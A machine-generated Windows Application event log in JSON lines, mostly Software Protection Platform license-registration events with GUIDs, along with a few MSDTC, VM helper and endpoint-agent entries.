{"@timestamp":1646920050106,"ecs":{"version":"8.4"},"event":{"activity":null,"code":4202,"custom_data":{"EventData":{"param1":"0","param10":"0","param11":"0","param12":"1","param2":"0","param3":"0","param4":"0","param5":"0","param6":"0","param7":"1","param8":"Mutual Authentication Required","param9":"NT AUTHORITY\\NetworkService"}},"module":"Application","provider":"Microsoft-Windows-MSDTC 2","sequence":168001}}
{"@timestamp":1646920050200,"ecs":{"version":"8.4"},"event":{"activity":null,"code":271,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":null}}},"module":"Application","provider":"VMUpgradeHelper","sequence":168002}}
{"@timestamp":1646920060138,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Traps"]}}},"module":"Application","provider":"Traps","sequence":168003}}
{"@timestamp":1646920097090,"ecs":{"version":"8.4"},"event":{"activity":null,"code":900,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["caller=TiWorker.exe"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168004}}
{"@timestamp":1646920097246,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1066,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["C:\\Windows\\system32\\sppwinob.dll, msft:spp/windowsfunctionality/agent/7.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/inherited/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/phone/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:rm/algorithm/pkey/detect, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/ActionScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/TaskScheduler/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/statecollector/pkey, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/1.0, 0x00000000, 0x00000000\nC:\\Windows\\system32\\sppobjs.dll, msft:spp/volume/services/kms/activationinfo/1.0, 0x00000000, 0x00000000\n"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168005}}
{"@timestamp":1646920097543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","99eafeff-5747-48f1-9b15-369dc37495f0"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168006}}
{"@timestamp":1646920097543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","882cbb86-bbec-49e7-81c8-ce243153f8b8"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168007}}
{"@timestamp":1646920097543,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","f8b263b2-c64b-4ac3-9893-dddab20e87f2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168008}}
{"@timestamp":1646920097559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","6e34900a-85d1-4c66-bfaf-5e476f193a55"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168009}}
{"@timestamp":1646920097559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","e8200715-ded8-4e4f-ba85-dd52dcee264d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168010}}
{"@timestamp":1646920097559,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","3ef629fe-eb9b-4fdf-9c5c-8ce7cc81b321"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168011}}
{"@timestamp":1646920097574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","f7235fbb-aa63-43bd-99c6-0ad7b5d1156a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168012}}
{"@timestamp":1646920097574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","c570a061-ede6-499c-a52a-e955f2d21558"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168013}}
{"@timestamp":1646920097574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","86095c4b-674b-4c03-ac40-4ae1e05b9d9a"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168014}}
{"@timestamp":1646920097574,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","ffe82b23-4108-4fbd-84d1-2cb40e61a834"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168015}}
{"@timestamp":1646920097590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","cbd90df6-1d03-471d-9b40-69c1df07e3ba"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168016}}
{"@timestamp":1646920097590,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","4c0262ca-17c6-479f-9631-993bc63c4a24"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168017}}
{"@timestamp":1646920097605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","a75a9123-0a10-4c25-919b-dbbfeda91a4b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168018}}
{"@timestamp":1646920097605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","5a58eff4-45d9-4e1e-baba-e9d9109de78e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168019}}
{"@timestamp":1646920097605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","73e64753-b878-4f1b-a528-7f54219dbc39"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168020}}
{"@timestamp":1646920097605,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","fce2b5a1-73b0-4010-b4ff-1cb5ed24bfa6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168021}}
{"@timestamp":1646920097621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","89437752-57f9-4e30-9e87-4d89252e9ea3"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168022}}
{"@timestamp":1646920097621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","4073aee2-214c-4b3b-bbdb-990a9bda4b16"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168023}}
{"@timestamp":1646920097621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","fef48f46-7867-49e7-ae7f-16ee0c146d65"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168024}}
{"@timestamp":1646920097621,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","45e0ded7-f035-4688-9684-1ec9019197f9"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168025}}
{"@timestamp":1646920097637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","6bff9df5-6b7e-40b2-80e3-2d8ce1475daf"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168026}}
{"@timestamp":1646920097637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","c308d96e-d22b-4585-a833-76632a0059d6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168027}}
{"@timestamp":1646920097637,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","3d817521-89c1-4a0c-825c-d54744bbb4cd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168028}}
{"@timestamp":1646920097652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","14fc9da2-0f86-4d64-8440-70cec455de32"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168029}}
{"@timestamp":1646920097652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","c68291aa-b70b-4561-9d9a-01d570d2ac08"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168030}}
{"@timestamp":1646920097652,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","98d6236b-775f-46de-b5fd-ce5143ef6f45"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168031}}
{"@timestamp":1646920097668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","1f4faf15-d7e7-44eb-b269-71505e9da04c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168032}}
{"@timestamp":1646920097668,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","5982a539-0ac5-4966-94e3-d902484d91fd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168033}}
{"@timestamp":1646920097683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","a241f9bc-66fe-45e2-ace3-081b332adab9"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168034}}
{"@timestamp":1646920097683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","5fe892f4-18b1-4e2f-8a2b-31092605e166"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168035}}
{"@timestamp":1646920097683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","f0749e30-2d82-4781-8a3f-67cb086bf1f2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168036}}
{"@timestamp":1646920097683,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","716eee82-4361-4ff2-9d15-049c44bcda86"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168037}}
{"@timestamp":1646920097699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","185d6a12-b638-4fd4-8d3b-e421164c3443"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168038}}
{"@timestamp":1646920097699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","f33b1435-f2ff-4204-8cb1-109188cd6770"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168039}}
{"@timestamp":1646920097699,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","c533d39b-614c-4b4e-b812-7cdf50b356f4"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168040}}
{"@timestamp":1646920097715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","27cbd59f-5c40-4b62-942e-3ba0114bd911"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168041}}
{"@timestamp":1646920097715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","ed0bcb51-0ad9-4001-ac07-aa8c3062e977"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168042}}
{"@timestamp":1646920097715,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","b32520e5-557a-4635-8951-16be8bb87486"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168043}}
{"@timestamp":1646920097730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","ddf6dab4-5797-47ae-ae61-fe734e017abf"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168044}}
{"@timestamp":1646920097730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","40a748d3-28f3-4f0f-9d3b-0a803035790b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168045}}
{"@timestamp":1646920097730,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","080ebc7f-581e-40b4-864a-17fdf7438a52"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168046}}
{"@timestamp":1646920097746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","8960b28c-5b64-40c1-bf35-265129436351"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168047}}
{"@timestamp":1646920097746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","84330696-2e07-446e-92e2-10db644f7572"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168048}}
{"@timestamp":1646920097746,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","4bd121e8-21a7-4e36-aa00-f6101ddf2eb7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168049}}
{"@timestamp":1646920097762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","bd1034a0-860f-4419-9e2a-25c4a0946ebf"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168050}}
{"@timestamp":1646920097762,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","78a1e64b-dd14-4306-a3b8-f541467e0f1b"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168051}}
{"@timestamp":1646920097777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","9bc84c57-2910-4cec-8d76-06c41c07bc77"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168052}}
{"@timestamp":1646920097777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","ec133139-f141-4393-8c2e-6fc4d63fd624"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168053}}
{"@timestamp":1646920097777,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","a295f0f1-2618-4a77-84ef-96c099ed6025"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168054}}
{"@timestamp":1646920097793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","54c1f35b-3370-49ee-b471-b6caf6d7f744"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168055}}
{"@timestamp":1646920097793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","db7b9622-31ce-4820-9c9d-2672da98293d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168056}}
{"@timestamp":1646920097793,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","d07ea1cc-d677-4c66-8cae-c71b082c2e19"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168057}}
{"@timestamp":1646920097808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","e4fe2a71-ccc0-4dc6-b6c8-a12a1011f0f6"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168058}}
{"@timestamp":1646920097808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","9699f79c-9e6d-4162-8c39-43e2ce298b20"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168059}}
{"@timestamp":1646920097808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","adb5e2f6-c2d2-402f-b09a-3b1cf0ce32f0"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168060}}
{"@timestamp":1646920097808,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","18d0f744-8e84-4cf9-931b-a7f5922e15cc"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168061}}
{"@timestamp":1646920097824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","625c7166-2867-4487-8375-2e5a00901fe9"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168062}}
{"@timestamp":1646920097824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","a34d6d5e-9ad1-4ce0-a3bd-ed1608db2c28"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168063}}
{"@timestamp":1646920097824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","980ee4df-8b46-4cb7-9e90-33f980546656"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168064}}
{"@timestamp":1646920097824,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","efe24d7f-8485-4a06-986d-d1a98d7ffcdd"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168065}}
{"@timestamp":1646920097840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","49e80f35-e5ab-4bb9-9faf-78168ac08a43"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168066}}
{"@timestamp":1646920097840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","9a658595-e27f-4f00-bdff-6268236c62ce"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168067}}
{"@timestamp":1646920097840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","e9b38335-1020-4f0f-b346-9a2288163486"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168068}}
{"@timestamp":1646920097840,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","2fb1d604-87db-4c66-a336-cb2166fa8dee"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168069}}
{"@timestamp":1646920097855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","40e4f973-0238-461e-8dc4-db1496981ec3"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168070}}
{"@timestamp":1646920097855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","da4ecfad-5093-4d84-aa4d-dd553ae23275"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168071}}
{"@timestamp":1646920097855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","4b12a456-21a0-4cd9-ac76-6d9cfc5706c1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168072}}
{"@timestamp":1646920097855,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","b8947180-6f77-43a9-ad0f-719801d9dfb7"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168073}}
{"@timestamp":1646920097871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","e59fd02c-d08c-463c-8ac5-8fc670fb881f"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168074}}
{"@timestamp":1646920097871,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","b7042fef-db25-4b6a-8362-242e5bd50842"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168075}}
{"@timestamp":1646920097887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","2bcf0294-b8f2-4d7c-a219-647ef73ed9b2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168076}}
{"@timestamp":1646920097887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","d4d12985-d011-4bfd-9b27-b9911e4c045c"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168077}}
{"@timestamp":1646920097887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","8e6b9607-1718-4b53-a0a1-e22653407e7d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168078}}
{"@timestamp":1646920097887,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","c05f2b8f-4568-4096-93ec-d64a203f77a2"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168079}}
{"@timestamp":1646920097902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","c1e172c7-29de-43c3-b734-8fdce43eb290"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168080}}
{"@timestamp":1646920097902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","667d253e-43dd-4343-b561-8cbad3e27004"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168081}}
{"@timestamp":1646920097902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","0dd6e994-2a7a-4309-8b66-0b51a43b6ba1"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168082}}
{"@timestamp":1646920097902,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","6d8eb3e3-23b5-49f5-a423-0ed6b546b3ac"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168083}}
{"@timestamp":1646920097918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","935ebe7e-083f-41ec-893a-acb35568f097"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168084}}
{"@timestamp":1646920097918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Private)","df2bc3ef-36de-4651-a102-eda21d70514e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168085}}
{"@timestamp":1646920097918,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Public)","4273e409-1922-4c38-9bf1-de773fb05d6d"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168086}}
{"@timestamp":1646920097933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) Publishing License (Private)","1e06d82a-d42a-4c3f-af37-35d0d188feca"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168087}}
{"@timestamp":1646920097933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Public)","739d115c-ad89-4a1c-8b79-696f93abbb54"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168088}}
{"@timestamp":1646920097933,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL oob License (Private)","5b721fa0-23c8-47ff-ad90-13f118415c41"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168089}}
{"@timestamp":1646920097949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Public)","c7e0bfa1-6ab1-4e42-bc4a-5f324d51356e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168090}}
{"@timestamp":1646920097949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL phone License (Private)","92939ee7-6c10-4154-95cc-e9828cd9d98e"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168091}}
{"@timestamp":1646920097949,"ecs":{"version":"8.4"},"event":{"activity":null,"code":1004,"custom_data":{"EventData":{"Binary":null,"Data":{"#text":["Windows(R) UL store License (Public)","13e5f604-75d5-4dbf-963b-20dc46032ae3"]}}},"module":"Application","provider":"Microsoft-Windows-Security-SPP","sequence":168092}}
